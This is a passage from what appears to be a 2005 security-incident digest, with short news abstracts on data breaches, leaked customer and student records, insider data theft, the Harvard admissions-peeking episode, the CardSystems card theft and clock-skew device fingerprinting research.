Acer's online customers suffered a major privacy breach after the computer maker's Australian shopping website exposed their personal details to other shoppers using the service. The online shopping portal www.shopacer.com.au revealed purchase order information including names, delivery addresses, e-mails and contact numbers of customers who had recently placed orders at the site. Customer credit card numbers were not disclosed. Customers who logged on to the site to check the status of their equipment orders via a bookmark stored in their web browser were freely able to access order details of other customers. (The Australian 2 Feb 2005)

<i>Category</i>	<i>11.2</i>	<i>Unauthorized disclosure</i>
2005-02-04		data leakage Word comments document confidentiality

RISKS; http://tinyurl.com/43dhg	23	71
--	----	----

ANOTHER MS-WORD INFO LEAK

Richard Akerman wrote about a case where a scientist made marginal comments about a press release from the McGill University Health Centre about health risks of Vioxx. The comments, made in MS-Word, were supposedly restricted but were actually visible to anyone using Windows XP and MS Word 2003.

Category 11.2

Unauthorized disclosure

2005-02-10

Mailman flaw mail list software password information disclosure Apache vulnerable update issued

DHS IAIP Daily; http://news.com.com/Flaw+in+mail-list+software+leaks+passwords/2100-1002_3-5571576.html?tag=nefd.top

FLAW IN MAIL-LIST SOFTWARE LEAKS PASSWORDS

A previously unknown vulnerability in Mailman, a popular open-source program for managing mailing lists, has led to the theft of the password file for a well-known security discussion group. The theft, discovered last week and reported in an announcement to the Full Disclosure security mailing list on Wednesday, February 9, casts uncertainty on the security of other discussion groups that use the open-source Mailman package. By specially crafting a Web address, an attacker can obtain the password for every member of a discussion group. Servers that run Apache 2.0 and Mailman are suspected to be immune to exploitation of the vulnerability, according to a security advisory on the Mailman Website. Vendor update is available: <http://www.gnu.org/software/mailman/security.html>

Category 11.2

Unauthorized disclosure

2005-02-18

ChoicePoint data leakage consumer privacy Equifax credit bureau Social Security numbers SSN reports identity theft

NewsScan; <http://www.washingtonpost.com/wp-dyn/articles/A33802-2005Feb18.html>

CHOICEPOINT LEAKS CONSUMERS' DATA

ChoicePoint, a spinoff of credit reporting agency Equifax, has come under fire for a major security breach that exposed the personal data records of as many as 145,000 consumers to thieves posing as legitimate businesses. The information revealed included names, addresses, Social Security numbers and credit reports. "The irony appears to be that ChoicePoint has not done its own due diligence in verifying the identities of those 'businesses' that apply to be customers," says Beth Givens, director of the Privacy Rights Clearinghouse. "They're not doing the very thing they claim their service enables their customers to achieve." In its defense, ChoicePoint claims it scrutinizes all account applications, including business license verification and individuals' background checks, but in this case the fraudulent identities had not been reported stolen yet and everything seemed in order. ChoicePoint marketing director James Lee says they uncovered the deception by tracking the pattern of searches the suspects were conducting. (Washington Post 18 Feb 2005)

Category 11.2

Unauthorized disclosure

2005-02-26

bank customer data loss encryption failure transportation security airline baggage magnetic backup tape identity theft

RISKS; <http://news.bbc.co.uk/1/hi/business/4300371.stm>

23

76

BofA LOSES BACKUP TAPES IN TRANSIT WITH CUSTOMER DATA

Bank of America "lost computer tapes containing account details of more than one million customers who are US federal employees." The data were unencrypted. Nicolai E M Plum added, "There is another more general RISK, since the theft occurred on a commercial airline flight. There is a conflict between wishing to lock your luggage to prevent theft from luggage handlers (a group of people known to steal from luggage) and being told that if you lock your luggage the lock may be forced open and destroyed by the Transport Security Administration searching your bags - you can't win. The "TSA [master] key" lock idea will just mean the thieving baggage handler will acquire one of the master keys beforehand."

Category 11.2

Unauthorized disclosure

2005-03-03

penetration hacking admissions Website ethics

EDUPAGE; <http://www.siliconvalley.com/mld/siliconvalley/11044063.htm>

HACKER EXPOSES ADMISSIONS RECORDS

A hacker who was able to access admissions records for dozens of business schools posted instructions online for how applicants could access those records. Among the universities whose records were exposed were Harvard University, Stanford University, Duke University, Carnegie Mellon University, and Dartmouth College. All of the affected schools use an online application and notification system called ApplyYourself. The vulnerability that allowed the unauthorized access has been fixed, but during the nine hours in which the systems were exposed, several hundred students attempted to find out if they had been accepted to schools to which they applied. Final decisions and notifications of acceptance are not expected for several more weeks. School officials have been able to identify at least some of the applicants who gained access to the records systems, and officials from some schools said such activity would factor into the admission decision. Steve Nelson of Harvard's MBA program said, "Hacking into a system in this manner is unethical and also contrary to the behavior we expect of leaders we aspire to develop." Even if a student saw a decision, said Nelson, that decision isn't final until March 30. San Jose Mercury News, 3 March 2005

Category 11.2

Unauthorized disclosure

2005-03-08

penetration hacking Harvard admissions Website reject applicants

EDUPAGE; <http://online.wsj.com/article/0,,SB111029921614173536,00.html>

HARVARD REJECTS APPLICANTS WHO PEEKED

Officials from the Harvard Business School said they will reject 119 applicants who used a hacker's instructions to try to find out whether they had been accepted by the school. Calling the action "unethical" and saying that it cannot be rationalized, a statement from Harvard said, "Any applicant found to have done so will not be admitted to this school." Administrators at Carnegie Mellon University have also said they will reject candidates who attempted to gain unauthorized access to admissions records. Applicants to several other institutions affected--including Stanford University, Duke University, and Dartmouth College--will have to wait to find out how those schools decide to treat the situation. Using the instructions posted online by a hacker, applicants were able for a short period to use a name and password to access the admissions records. Institutions have been able to identify applicants who accessed admission records based on the name and password. For many who looked, there was no decision in the system, and school officials stressed that even if an applicant located an answer, those decisions were not necessarily final. Some have criticized Harvard officials for responding too harshly to the incident. Wall Street Journal, 8 March 2005 (sub. req'd)

Category 11.2

Unauthorized disclosure

2005-03-09

hacker penetration publisher database Reed Elsevier personal information disclosure FBI US Secret Service

EDUPAGE; http://news.com.com/2100-1029_3-5605736.html

HACKERS COMPROMISE PUBLISHER'S DATABASE

Hackers compromised a database owned by publisher Reed Elsevier, gaining access to names, addresses, Social Security numbers, and driver's license numbers of about 32,000 individuals. Other information, including credit history and financial data, was reportedly not involved. The breach happened at Seisint, a data-collection company that the publisher bought last year. Seisint is a competitor to ChoicePoint, which recently reported an incident in which hackers accessed records on 145,000 individuals. According to officials at Reed Elsevier, the fraud came to light when a billing complaint from a customer showed unauthorized activity with a user name and password. Reed Elsevier is contacting the individuals affected and working with the FBI and the Secret Service to locate the hackers. CNET, 9 March 2005

Category 11.2

Unauthorized disclosure

2005-03-11

penetration hacking admissions Website reject applicants criticism

EDUPAGE; <http://chronicle.com/prm/daily/2005/03/2005031104n.htm>

SCHOOLS CRITICIZED OVER REJECTION OF NOSY APPLICANTS

A number of business-school applicants who were rejected due to their looking at university admissions records online without authorization have spoken out against the universities' decision to exclude them. Carnegie Mellon University, Harvard University, and MIT have rejected the applications of 153 individuals who used a hacker's instructions to try to find out if they had been accepted. Although some applicants involved acknowledged that accessing the records was wrong, they contended that the actions do not constitute hacking and that the institutions have overreacted. One rejected applicant wrote a letter to Harvard, admitting a "lapse in judgment" but noting that he "wasn't trying to harm anyone and wasn't trying to get an advantage over anyone." Len Metheny, CEO and president of ApplyYourself, the software that all the affected schools used for applications, said the procedure to access the records was sufficiently complicated that anyone doing so would have to have known it was unauthorized. Chronicle of Higher Education, 11 March 2005 (sub. req'd)

Category 11.2

Unauthorized disclosure

2005-03-21

personal data information disclosure University of Nevada at Las Vegas SEVIS database

EDUPAGE; <http://chronicle.com/prm/daily/2005/03/2005032102t.htm>

UNLV SEVIS DATABASE COMPROMISED

The FBI and officials at the University of Nevada at Las Vegas (UNLV) are investigating an incident in which hackers gained access to the school's Student and Exchange Visitor Information System (SEVIS) database. SEVIS is the federal program that colleges and universities must use to track international students and faculty. According to a university spokesperson, the break-in was uncovered while it was happening, prompting optimism that the damage was thereby minimized.

The university said that the hackers had access to personal records, including birth dates, countries of origin, passport numbers, and Social Security numbers, on about 5,000 current and former students and faculty. Chronicle of Higher Education, 21 March 2005 (sub. req'd)

Category 11.2

Unauthorized disclosure

2005-03-21

personal data information disclosure California State University Chico

EDUPAGE; <http://www.reuters.com/newsArticle.jhtml?storyID=7964776>

HACKERS HIT CSU CHICO

Joe Wills, spokesperson for California State University, Chico, said that hackers who broke into servers at the university may have accessed confidential records on 59,000 individuals associated with the institution. Wills said that early investigation of the attack, which happened three weeks ago, indicates that the perpetrators might have been trying to download files when they discovered the confidential information. Social Security numbers were part of the compromised records, which included students, former students, prospective students, and faculty. Reuters, 21 March 2005

Category 11.2

Unauthorized disclosure

2005-04-01

University of Georgia personal sensitive information disclosure e-portfolio system

EDUPAGE; <http://chronicle.com/prm/weekly/v51/i30/30a04102.htm>

GEORGIA UNCOVERS MISUSE OF ONLINE PORTFOLIOS

After discovering files containing personal information on its e-portfolio system, officials at the University of Georgia are reviewing the institution's policies for online portfolios. A student in the university's New Media Institute--part of the school's journalism program--had used the e-portfolio system to store a list of names and credit card numbers on a university-owned server. Officials at the school are not sure how the student obtained the list, which came from a North Carolina company that sells pharmaceutical products online, or what the student intended to do with it. The server where the file resided was immediately taken down, and officials are now combing through the rest of the files before re-posting them, looking for any other inappropriate information. According to Scott Shamp, director of the New Media Institute, the incident has raised questions about how long and under what terms the university will offer online portfolio services to its students. Shamp, who expressed support for online portfolios, pointed to the possibility of third-party options to address concerns over liability for the institution. Chronicle of Higher Education, 1 April 2005 (sub. req'd)

Category 11.2

Unauthorized disclosure

2005-04-06

personal data information disclosure University of Mississippi

EDUPAGE; <http://msnbc.msn.com/id/7407401/>

TUFTS DISCLOSES DATA BREACH

Officials at the University of Mississippi have removed files from their servers that included names and Social Security numbers for about 700 students after being notified that the files were available to anyone on the Web. The files were not linked from other pages, but they had been indexed by search engines. As a result, an individual identified only as Jay who was searching the Web for an old friend stumbled on the files. According to Jeff Alford, assistant vice chancellor for university relations, the files were posted by someone who no longer works for the university. That person likely posted them in late 2003, but university officials are not sure why he did so. "For some reason, he saved the information as a backup file on the university (Web) server," said Alford. "It is a clear violation of our privacy policy, and a serious violation." MSNBC, 6 April 2005

Category 11.2

Unauthorized disclosure

2005-04-12

data leakage theft anomaly outlier bandwidth utilization file sharing investigation university

Boston Globe

http://www.boston.com/business/technology/articles/2005/04/12/tufts_warns_alumni_on_breach/

TUFTS WARNS OF POSSIBLE SECURITY BREACH

Tufts University in Boston had to send warning letters to 106,000 alumni warning of a possible breach of security on a computer that stores their names, addresses, and other personal information including (for some alumni) Social Security numbers and credit-card numbers. The possible breach was discovered by data center staff who noticed an unusually high use of high-bandwidth file transfers from that system. Investigators hypothesize that the system might have been commandeered for illegal file sharing.

Category 11.2

Unauthorized disclosure

2005-04-12

LexisNexis data loss personal information disclosure identity ID thieves

EDUPAGE; <http://www.reuters.com/newsArticle.jhtml?storyID=8159934>

LEXISNEXIS DISCLOSES MORE DATA LOSSES

LexisNexis this week revealed that much more personal information was exposed to identity thieves than reported in estimates released last month. Information including Social Security numbers for 310,000 U.S. Citizens was exposed--nearly 10 times the 32,000 previously announced by company officials. According to LexisNexis, the data were compromised in a total of 59 separate incidents over the past two years, most of them at subsidiary Seisint, which LexisNexis bought in July 2004. A spate of data breaches lately has prompted the U.S. Congress to hold hearings on problems affecting the data-brokerage industry and to propose regulations that would add strict controls on the collection and sale of personal information. Sen. Charles Schumer (D-N.Y.) said, "When a company like LexisNexis so badly underestimates its own ID theft breaches, it is clear that things are totally out of hand." Reuters, 12 April 2005

Category 11.2

Unauthorized disclosure

2005-04-12

personal data information disclosure alumni Tufts University

EDUPAGE; <http://news.bostonherald.com/localRegional/view.bg?articleid=78100>

TUFTS DISCLOSES DATA BREACH

Officials at Tufts University have begun notifying 106,000 alumni that their personal information stored on a university computer may have been compromised. The problem occurred last fall, when university officials noticed unusually large amounts of information passing through the computer, which stored names, addresses, phone numbers, Social Security numbers, and credit card numbers. The problem does not affect current students or employees. According to Betsey Jay, director of advancement communications, no evidence has surfaced about who is responsible or that any of the information was misused. At the time, officials at Tufts saw no reason to notify those affected, but a flurry of recent incidents in which personal information was compromised, including one at Tufts's neighbor, Boston College, prompted the university to inform alumni about the problem. Boston Herald, 12 April 2005

Category 11.2 Unauthorized disclosure
2005-04-21 **hacking penetration Carnegie Mellon University data breach personal information disclosure**

EDUPAGE; <http://msnbc.msn.com/id/7590506/>

CARNEGIE MELLON DISCLOSES POSSIBLE DATA BREACH

Officials from Carnegie Mellon University are notifying about 5,000 students, graduates, and staff that their personal information may have been compromised on the university's network. The exposed information concerns graduates of the Tepper School of Business from 1997 to 2004; current graduate students; applicants to the doctoral program from 2003 to 2005; applicants to the MBA program from 2002 to 2004; and administrative employees. Officials said information about faculty and undergraduate students was not affected. Mike Laffin, spokesperson for the university, said the problem was discovered on April 10 and that there is currently no evidence that any of the exposed personal information has been used for fraudulent purposes. MSNBC, 21 April 2005

Category 11.2 Unauthorized disclosure
2005-04-28 **data leakage privacy confidentiality drivers' licenses identity theft mail malfunction bug error government agency**

RISKS; <http://tinyurl.com/9yfvb> (reg'n req'd)

23

86

HUNDREDS OF TEXAS DRIVER'S LICENSES MAILED TO WRONG PEOPLE

An agency that warns Texans not to share personal information with strangers because of the risks of identity theft mistakenly mailed hundreds of driver's licenses to the wrong people. The Texas Department of Public Safety (DPS) blamed the mixup on a malfunctioning machine that was recently installed to sort licenses for mailing. Statewide, at least 500 to 600 people who applied for a license renewal or replacement in late March or early April instead received somebody else's card, said DPS spokesperson Tela Mange. A driver's license contains enough personal information for thieves to open up a line of credit or a bank account in that name, make long-distance phone calls or apply for a Social Security card, according to the Texas attorney general's office. Information on the license includes a full name, signature, birth date, height, eye color, address and a photograph. The driver's license number, assigned by DPS, is also used by many agencies to verify a person's identity. In the case of the mismailed licenses, no identity theft or other crime has been reported, Mange said. [Abstract by Peter Gregory]

Category 11.2 Unauthorized disclosure
2005-04-29 **hacking penetration personal sensitive information disclosure Florida International University identity ID theft**

EDUPAGE; http://www.theregister.com/2005/04/29/fiu_id_fraud_alert/

FIU SUFFERS COMPUTER HACK

Officials at Florida International University (FIU) are warning faculty and students about possible identity theft after it was discovered that a hacker had user names and passwords for 165 computers on campus. Although only a few of the computers contained personal information, and despite the fact that no evidence exists that anyone's information has been misused, school officials fear that the hacker may have had enough access to put the university's entire network in question. University staff have been instructed to inspect 3,000 computers on campus to determine if they have been compromised. FIU has recommended that faculty and students remove any personal information from their computers and that they monitor their credit cards for suspicious activity that could indicate fraud. The Register, 29 April 2005

Category 11.2 Unauthorized disclosure
2005-05-21 **university data leakage confidentiality privacy social security numbers SSN student faculty records**

<http://www.indystar.com/apps/pbcs.dll/article?AID=/20050521/NEWS01/505210449/1006&template=printart>

PURDUE WARNS OF ANOTHER SECURITY BREACH

For the third time in the past year, Purdue University in West Lafayette has experienced a computer security breach that may have allowed illegal access to confidential faculty or student records.

University officials said Friday they are alerting 11,360 current and former employees that their Social Security numbers and other information may have been accessed electronically from at least one of four campus computer workstations.

"It is critical that we all -- whether involved in this incident or not -- monitor our credit reports and financial statements," James R. Bottum, vice president for information technology, said in a prepared statement. "The problem we've experienced here is just one example of how vulnerable all organizations can be."

[Excerpt from a report by Barb Berggoetz, writing for the Indiana Star newspaper]

Category 11.2 Unauthorized disclosure
2005-05-21 **hacking penetration Valdosta State University security breach personal information disclosure identity ID theft**

EDUPAGE; <http://www.wsbtv.com/news/4515697/detail.html>

VALDOSTA INVESTIGATES SECURITY BREACH

Officials at Valdosta State University (VSU) are investigating a security breach in which a computer hacker may have accessed personal information for as many as 40,000 students and employees. Last week, a hacker gained access to a campus server that contained information for the university's VSU 1Cards, which serve both as ID and debit cards for students and staff. The Georgia Bureau of Investigation is looking into the matter and has advised those affected to notify credit reporting agencies about the possible theft. The database that was accessed contained information on all VSU students since 1997, current employees of the institution, and employees who left between 1997 and 1999. A similar breach occurred last month at Georgia Southern University. Associated Press, 21 May 2005

Category 11.2 Unauthorized disclosure
2005-06-24 **personal sensitive consumer information disclosure data broker ChoicePoint Social Security Numbers**

EDUPAGE; <http://online.wsj.com/article/0,,SB111957007176668246,00.html>

CHOICEPOINT CHANGES PRACTICES TO AVOID REPEAT DISCLOSURE

Following the high-profile loss of personal information on nearly 145,000 individuals, data broker ChoicePoint said it will make significant changes to its business procedures to prevent future security breaches. In its reports, the company will begin masking Social Security numbers, and it will limit the amount of business it conducts with certain customers, including private investigators, collection agencies, and small financial companies. ChoicePoint has also begun offering access to individuals--at no charge--to the information that the company keeps on them. Though not widely advertised, the new service provides one annual report of "personal public records" searches. ChoicePoint currently maintains a vast database of information culled from public and business records on nearly every adult in the United States. After the security breach that exposed so many individuals to identity theft, Congress held hearings on ChoicePoint and other data brokers and is considering tightening regulation of the data industry. Wall Street Journal, 24 June 2005 (sub. req'd)

Category 11.2 Unauthorized disclosure
2005-06-24 **hacking penetration vandalism University of Connecticut security breach personal sensitive information disclosure Social Security Numbers**

EDUPAGE; <http://www.nytimes.com/2005/06/25/technology/25conn.html>

UNIVERSITY OF CONNECTICUT DISCOVERS SECURITY BREACH

Officials at the University of Connecticut have discovered a breach of one of the university's servers, which contained personal information for about 72,000 individuals. According to Michael Kerntke, a spokesperson for the school, the university found a program on the server that could have given a hacker access to the information on that computer, which included names, addresses, phone numbers, Social Security numbers, and dates of birth. Although the program has evidently been on the server since October 2003, officials said there was no evidence that any of the data had actually been taken. Kerntke noted that the program seems to have been part of a broad Internet attack rather than one specifically directed at the university. As a result, he said, "the attacker most likely had no knowledge of the kind of data stored on the server." New York Times, 24 June 2005 (registration req'd)

Category 11.2 Unauthorized disclosure
2005-07-06 **student applicants university database privacy data leakage vulnerability accessibility control confidentiality Web**

RISKS; http://www.theregister.co.uk/2005/07/06/usc_site_cracked/ 23 93

UNIVERSITY OF SOUTHERN CALIFORNIA ONLINE APPLICATIONS SYSTEM FLAWED

A programming error in the University of Southern California's online system for accepting applications from prospective students left the personal information of ``hundreds of thousands of records" publicly accessible. The flaw was discovered by a student in the process of applying.

[Abstract by Peter G. Neumann]

Category 11.2 Unauthorized disclosure
2005-07-06 **vulnerability flaw University of Southern California online application system Website applicant data exposure**

EDUPAGE; http://www.theregister.co.uk/2005/07/06/usc_site_cracked/

FLAW ALLOWS ACCESS TO USC ADMISSIONS SITE

Officials at the University of Southern California (USC) acknowledged that a flaw in the school's online application system left personal data on applicants to the university exposed to hackers. The vulnerability was discovered by a student, who found the problem when he was using the system to apply to USC. He reported it to Internet security firm SecurityFocus, which then notified the university. The flaw reportedly exposed information including names, birth dates, and Social Security numbers on many thousands of applicants. After being notified of the problem, USC initially disabled only the log-in functionality but has since taken down the entire application. USC officials disclosed neither the number of individuals whose data was affected nor whether it would notify those affected. Under a recently enacted California law, consumers must be notified in the event that their personal information has been accessed without authorization. The Register, 6 July 2005

<i>Category</i>	<i>11.2</i>	<i>Unauthorized disclosure</i>
2005-08-03		Cisco security breach passwords reset search engine vulnerability source code not exposed

DHS IAIP Daily;
<http://www.computerworld.com/developmenttopics/websitemgmt/story/0,10801,103661,00.html>

CISCO PASSWORDS RESET AFTER WEBSITE EXPOSURE

Cisco Systems Inc. is resetting passwords for all registered users of its Cisco.com Website after discovering a vulnerability in its search engine software that left user passwords exposed, the company said Wednesday, August 3. The passwords are used by Cisco customers, employees and partners who have registered on the Website to get access to special areas of the site or to receive e-mail alerts, said Cisco spokesperson John Noh. Cisco was made aware of the problem early Monday and corrected it immediately, Noh said. As a precaution, the company is now in the process of sending out new passwords to all registered users of Cisco.com, who will be unable to access password-protected areas until they receive their new passwords, Noh said. Noh could not say how long it will take to send out all of the new passwords. The vulnerability could not be exploited to gain access to sensitive information like Cisco's source code, he said. "We do not believe any sensitive data were compromised as a result of this."

<i>Category</i>	<i>11.2</i>	<i>Unauthorized disclosure</i>
2005-12-02		information disclosure psychological records school Massachusetts

RISKS;
http://www.boston.com/news/education/k_12/articles/2005/12/02/school_psychologists_student_records_accidentally_posted_online/

STUDENT PSYCHOLOGICAL INFORMATION DISCLOSURE

Peter Neumann summarizes an article in Boston Globe article, a case of sensitive information being disclosed:

A school psychologist's records detailing students' confidential information and personal struggles were accidentally posted to the school system's Web site and were publicly available for at least four months. A reporter for *The Salem News* [Mass.] discovered the records last week and alerted school officials, the newspaper said in a story Friday. To protect students' privacy, the newspaper said it withheld publishing the story until the documents were removed from the Internet, which occurred Wednesday.

<i>Category</i>	<i>11.2</i>	<i>Unauthorized disclosure</i>
2005-12-08		Meijer superstores employee personal sensitive information SSN disclosure accidental

RISKS
MEIJER EMPLOYEE INFORMATION DISCLOSURE

RISKS contributor James Bauman received a letter about his daughter's health insurance benefit choices from her employer, Meijer Stores. However, the letter was not addressed to his daughter, and contained personal information about another Meijer employee. Mr. Bauman notes:

Because the other person had waived his benefits like my daughter had, there was little information. But, if the person had chosen a benefits package and had decided to cover their dependents, then the following information for the dependents would have been listed: names, relationship, birth date, sex, and social security number.

When Mr. Bauman telephoned Meijer about this information-disclosure problem, they said that they were aware of the issue: they asked employees who had received someone else's letter to destroy it.

Mr. Bauman concludes:

I hope their employees do the right and honorable thing, and do not use the identifying information for nefarious purposes, but we all know that the lamp of Diogenes would go out when within a mile of a few people...the ones we all worry about.

[Summary by Karthik Raman]

11.3 Data theft

Category 11.3

Data theft

2005-01-11

data theft university records SSN identity theft server crackers

RISKS; <http://www.gmu.edu/prod/alerts/supportcenter/index.jsp?ID=1157>

23

66

GEORGE MASON UNIVERSITY LOSES CONTROL OF ID DATA

James Bauman wrote in RISKS:

The server at George Mason University in Virginia was compromised by crackers who stole personal information ("names, photos, Social Security numbers and (campus ID) numbers of all members of the Mason community who have identification cards") on 30,000 students, faculty, and staff.

The mega-risk here is obvious -- tens of thousands of people who may become victims of identity theft, one of the fastest growing crimes in America.

Category 11.3

Data theft

2005-03-08

data theft credit card customer retail store database delayed discovery credit card

RISKS; nce.lycos.com/home/news/story.asp?story=47512557

23

78

CREDIT INFORMATION STOLEN FROM DSW STORES

Credit card information from customers of more than 100 DSW Shoe Warehouse stores was stolen from a company computer's database over the last three months, a lawyer for the national chain said Tuesday. The company discovered the theft of credit card and personal shopping information on Friday and reported it to federal authorities, said Julie Davis, general counsel for the chain's parent, Retail Ventures Inc. The Secret Service is investigating, she said. DSW was alerted by a credit card company that noticed suspicious activity, she said.

Category 11.3

Data theft

2005-04-14

data theft compromise personal information social security numbers SSN drivers' license unauthorized access identity theft database

RISKS; <http://tinyurl.com/89ql3>

23

84

310,000 LEXIS-NEXIS RECORDS ACCESSED BY IDENTITY THIEVES

Peter G. Neumann summarized a major data-theft case:

The saga of hacked personal information continued with a report as we go to press that Lexis-Nexis admitted to having been victimized by the theft of personal records of 310,000 people (10 times more than originally reported), including SSNs and drivers' license numbers. 59 cases were discovered of access by unauthorized persons using legitimate IDs and passwords. 64,145 of those lost records involved California residents.

Monty Solomon added:

A computer security breach at Polo Ralph Lauren Corp. that has recently roiled two major credit card companies actually occurred last fall. But Polo only made the problem public on 14 Apr 2005.

Category 11.3

Data theft

2005-04-15

data theft compromise personal information credit card information identity theft Social Security Number SSN university alumni association

RISKS

23

84

TUFTS ALUMNI DATA COMPROMISED

Tufts University began sending letters to 106,000 alumni, warning of "abnormal activity" on their fund-raising computer system that contained names, addresses, phone numbers, and, in some cases, Social Security and credit card numbers. [Abstracted by Peter G. Neumann]

<i>Category</i>	<i>11.3</i>	<i>Data theft</i>
2005-04-15		data theft compromise personal information credit card information identity theft retail store
RISKS; http://tinyurl.com/4upt7	23	84

POLO RALPH LAUREN CUSTOMER DATABASE ATTACKED

Peter G. Neumann summarized yet another data-theft case:

The scope of a computer system breach at a national retailer widened on 13 Apr 2005 to involve the customers of a second major credit card firm, but those companies refused to divulge the name of the retailer. The existence of the security breach first surfaced this week when HSBC North America began notifying 180,000 of its GM MasterCard customers that their credit card information had potentially been compromised. HSBC, which issues the GM cards, urged each customer to replace their card as quickly as possible.

<i>Category</i>	<i>11.3</i>	<i>Data theft</i>
2005-05-20		data theft gang collection agencies banks
SANS NewsBites		

WACHOVIA & BOA ALERT CUSTOMERS TO DATA THEFT

Wachovia Corp. and Bank of America are notifying certain active and inactive customers that the security of their personal data may have been breached. Police in New Jersey seized computer equipment, including disks that contained account information for some of the banks' customers. The account information was stolen as part of a scheme to sell the information to collection agencies.

<Http://www.siliconvalley.com/mld/siliconvalley/rss/11642196.htm?template=ntentModules/printstory.jsp>

Bank Data Theft Grows To 676,000 Customers (20 May 2005)

Police report that bank employees at four banks were involved in a New Jersey crime ring that used screen captures to record data about more than 676,000 customers. The criminals, nine of whom have been charged with crimes, sold the data to 40 collection agencies. The men charged are listed in the article
<http://www.computerworld.com/securitytopics/security/cybercrime/story/0,10801,101903,00.html>

<i>Category</i>	<i>11.3</i>	<i>Data theft</i>
2005-05-23		data theft financial records insider crime debt collection charges

RISKS; <http://tinyurl.com/b5khe> 23 88

A BANK YOU MIGHT NOT WANT TO HAVE WACHOVIA

More than 48,000 customers of Wachovia Corp. And 600,000 of Bank of America Corp have been notified that their financial records may have been stolen by bank employees and sold to collection agencies. Nearly 700,000 customers of four banks may be affected, according to police in Hackensack, N.J. Nine people have been charged, including seven bank workers. Also affected were Commerce Bank and PNC Bank of Pittsburgh. Collection agent Orazio Lembo Jr., 35, of Hackensack made millions of dollars through the scheme. Lembo received lists of people sought for debt collection and turned that information over to the seven bank workers, who would compare those names to their client lists. The bank workers were paid \$10 for each account they turned over to Lembo, Zisa said.

In a separate case with the potential for identity theft, a laptop containing the names and Social Security numbers of 16,500 current and former MCI Inc. Employees was stolen last month from the car of an MCI financial analyst in Colorado.

[Abstracts and pun by Peter G. Neumann]

Category 11.3 Data theft
2005-06-20 **data theft penetration criminal hackers credit card banking financial systems archiving permission policy violation virus identity theft fraud costs**

RISKS 23 91

CARDSYSTEMS KEEPS OLD DATA, GETS THEM STOLEN

CardSystems (a Tucson AZ company that handles credit card transactions for smaller banks and merchants) turns out to have been the source what was reported as the potential compromise of 40,000,000 credit cards (Visa, MasterCard, and American Express). In violation of established procedures, CardSystems was keeping old transactions online -- for research purposes -- with the intent of analyzing incompletely processed transactions. Something on the order of 200,000 cards may be particularly at risk, and 70,000 bogus charges have already been reported. The CardSystems systems were hit with a virus that resulted in the capture of the information.

[Abstract by Peter G. Neumann]

Category 11.3 Data theft

2005-08-17 **former AOL employee data theft conviction New York**

EDUPAGE;

<http://today.reuters.com/business/newsarticle.aspx?storyID=nN1725168>

FORMER AOL EMPLOYEE SENTENCED FOR DATA THEFT

A judge in New York has sentenced a former employee of America Online to 15 months in prison for stealing 92 million screen names from AOL and selling them to a spammer. Jason Smathers, who pleaded guilty earlier this year and cooperated with prosecutors, expressed remorse for his actions and asked the judge for leniency. Indeed, the judge could have given Smathers 24 months in prison for his crimes, which included conspiracy and interstate trafficking of stolen property. AOL has said it suffered monetary losses of \$300,000 as a result of Smathers's actions. The judge in the case has given the company 10 days to prove those losses, after which he said he will impose a fine, hinting that he is leaning toward a fine of \$84,000. Reuters, 17 August 2005

Category 11.3 Data theft

2005-08-22 **criminal hackers penetration security breach data theft personal information**

RISKS; <http://www.few.com/article90229-08-19-05-Web> 24 02

USAF PERSONNEL DATABASE COMPROMISED

Using an airman's log-in information to access the online Assignment Management System (AMS) and download data from it, someone gained access into an Air Force personnel system and accessed individual information on about half of its officers and "a handful" of its noncommissioned officers. The Air Force has started notifying more than 33,000 service personnel of the security breach, according to a statement. ... Air Force officers can log in at www.afpc.randolph.af.mil/vs to see if their information was compromised. The service will call the enlisted members whose information the hackers viewed.

[Abstract by Ross Stapleton-Gray]

Category 11.3 Data theft

2005-09-15 **Verizon wireless lawsuit litigation data theft subscriber information accounts**

DHS IAIP Daily; <http://www.mobilepipeline.com/showArticle.jhtml?articleID=170703409>

VERIZON WIRELESS WINS INJUNCTION AGAINST DATA THIEVES

Verizon Wireless has received a court order preventing a Tennessee company from stealing subscriber information. The injunction prevents Source Resources from acquiring, possessing or selling customer account information without either a court order or the subscriber's permission. The Verizon court filing claimed that Source Resources used "deceit, trickery and dishonesty" to obtain customer records. Specifically, the wireless operator claimed that Source Resources "is engaged in wrongfully obtaining confidential customer information (such as the customer's calling records) ... by posing as a customer of Verizon Wireless seeking information about his or her own account."

Category 11.3

Data theft

2005-09-16

laptop data theft University of California Berkeley South Carolina recovery sensitive student information

EDUPAGE; <http://www.pcworld.com/news/article/0,aid,122576,00.asp>

LOST UC BERKELEY LAPTOP RECOVERED

A laptop stolen in March from the University of California at Berkeley has been recovered, after being bought and sold several times, ultimately landing in South Carolina. When stolen, the computer contained sensitive data on more than 98,000 UC Berkeley graduate students, but by the time it was recovered, all of its files and operating system had been cleared, making it impossible to determine if the personal information was accessed after the theft. Following the theft, the university worked to contact those whose data was contained on the computer, as required by California law, and also hired an outside consultant to audit the institution's practices of handling such data, according to spokesperson Janet Gilmore. The university is currently assessing the recommendations of that audit and how to implement them. PCWorld, 16 September 2005

11.4 Covert channels

Category 11.4 *Covert channels*

2005-03-01 **data leakage device recognition clock skews**

RISKS; <http://www.cse.ucsd.edu/users/tkohno/papers/PDF/>

23

77

COMPUTER CLOCK CHARACTERISTICS ALLOW TCP/IP DEVICE IDENTIFICATION

Tadayoshi Kohno wrote:

Together with Andre Broido and kc claffy from CAIDA, I have been working on methods for remote physical device fingerprinting, or remotely fingerprinting a physical device without any modification to or known cooperation from the fingerprinter. At a high level, our fingerprinting techniques exploit microscopic deviations in device hardware: clock skews. At a low level, our preferred technique exploits the fact that most modern TCP stacks implement the TCP Timestamps Option (RFC 1323). When this option is enabled, outgoing TCPs packets leak information about the sender's clock. This work further supports the following well-known observation: there can be security relevant information in what one might traditionally consider to be noise.

In a follow-up posting by Markus Roth in RISKS 23.80, he clarifies the precision of this kind of identification; the following is an excerpt from a much longer text:

>The authors claim that their method will allow you to learn 6 bits of information about a device. Well, 2^6 is only 64 different devices. If there are 200 million computers on the Internet, their method would divide the world into 64 groups of 3 million computers each. Your computer would look identical to 3 million other computers!

This technique would be useful to show negative but not positive results. If a laptop in Berlin gives a skew value of 26 microseconds, you can conclude that it is a different laptop than the one in New York. But if an arbitrary laptop in Berlin shows a 45 microsecond skew, you can only say that there are 3 million other computers like it. You cannot conclude that it is the same laptop that was once in New York.<

Our paper and abstract available here:

< <http://www.cse.ucsd.edu/users/tkohno/papers/PDF/> >
< <http://www.caida.org/outreach/papers/2005/fingerprinting/> >

Category 11.4 *Covert channels*

